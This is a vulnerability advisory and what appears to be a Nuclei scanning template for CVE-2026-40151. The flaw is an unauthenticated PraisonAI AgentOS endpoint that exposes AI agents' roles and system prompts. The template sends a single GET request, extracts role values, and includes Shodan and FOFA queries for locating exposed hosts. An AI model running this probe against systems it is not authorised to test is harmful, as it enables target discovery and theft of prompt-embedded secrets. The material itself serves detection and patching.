PraisonAI's AgentOS FastAPI application server exposes an unauthenticated `GET /api/agents` endpoint that lists every registered agent's name, role and the opening of its instructions (system prompt). No authentication is enforced on the route, allowing a remote attacker to enumerate agent configurations and harvest sensitive details embedded in system prompts, such as internal API references, business logic and credential hints. This endpoint belongs to the AgentOS FastAPI server and is distinct from the legacy Flask `/agents` server tracked as CVE-2026-44338.
PoC
id: CVE-2026-40151
info:
name: PraisonAI AgentOS - Information Disclosure
author: aryu-ru
severity: medium
description: |
PraisonAI's AgentOS FastAPI application server exposes an unauthenticated `GET /api/agents` endpoint that lists every registered agent's name, role and the opening of its instructions (system prompt). No authentication is enforced on the route, allowing a remote attacker to enumerate agent configurations and harvest sensitive details embedded in system prompts, such as internal API references, business logic and credential hints. This endpoint belongs to the AgentOS FastAPI server and is distinct from the legacy Flask `/agents` server tracked as CVE-2026-44338.
impact: |
An unauthenticated attacker can disclose agent names, roles and system-prompt content, which frequently contains proprietary business logic, internal endpoints and credential hints.
remediation: |
Upgrade PraisonAI to version 4.5.128 or later and restrict network access to the AgentOS API.
reference:
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pm96-6xpr-978x
- https://nvd.nist.gov/vuln/detail/CVE-2026-40151
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-40151
epss-score: 0.00758
epss-percentile: 0.53455
cwe-id: CWE-200
metadata:
verified: true
max-request: 1
vendor: praison
product: praisonai
shodan-query: http.html:"PraisonAI App"
fofa-query: body="PraisonAI App"
tags: cve,cve2026,praisonai,praison,exposure
http:
- method: GET
path:
- "{{BaseURL}}/api/agents"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"agents"'
- '"role"'
- '"instructions"'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"role"\s*:\s*"([^"]+)"'
# digest: 490a0046304402200596d28754f5b0923e9323eb12ee9523ad2493f51f593ececfaa01fca4589eff022009080bf9fd1fce5f65c801fe4a12e614a4e954054fc41739d9eda5ac5b8bcf6b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.